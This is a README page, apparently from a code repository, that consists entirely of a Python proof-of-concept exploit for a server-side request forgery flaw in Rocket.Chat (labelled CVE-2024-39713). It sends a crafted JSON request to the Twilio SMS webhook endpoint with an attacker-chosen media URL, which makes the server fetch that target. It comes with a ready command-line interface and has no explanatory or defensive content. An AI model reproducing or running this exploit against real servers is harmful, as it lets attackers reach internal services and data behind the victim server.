README.md
Rendering markdown...
import requests
import json
import argparse
def exploit(url, target):
headers = {"Content-Type": "application/json"}
data = {
"To": "+123",
"From": "+123",
"Body": "body",
"NumMedia": "1",
"MediaUrl0": target,
"MediaContentType0": "text/plain"
}
response = requests.post(url + "/api/v1/livechat/sms-incoming/twilio", headers=headers, data=json.dumps(data))
if response.status_code == 200:
print(f"[+] Request sent...")
else:
print("[-] Exploit failed")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Rocket.Chat SSRF PoC (CVE-2024-39713)")
parser.add_argument("-u", "--url", help="Rocket.Chat server URL")
parser.add_argument("-t", "--target", help="SSRF target")
args = parser.parse_args()
print("[+] Rocket.Chat SSRF PoC (CVE-2024-39713)")
exploit(args.url, args.target)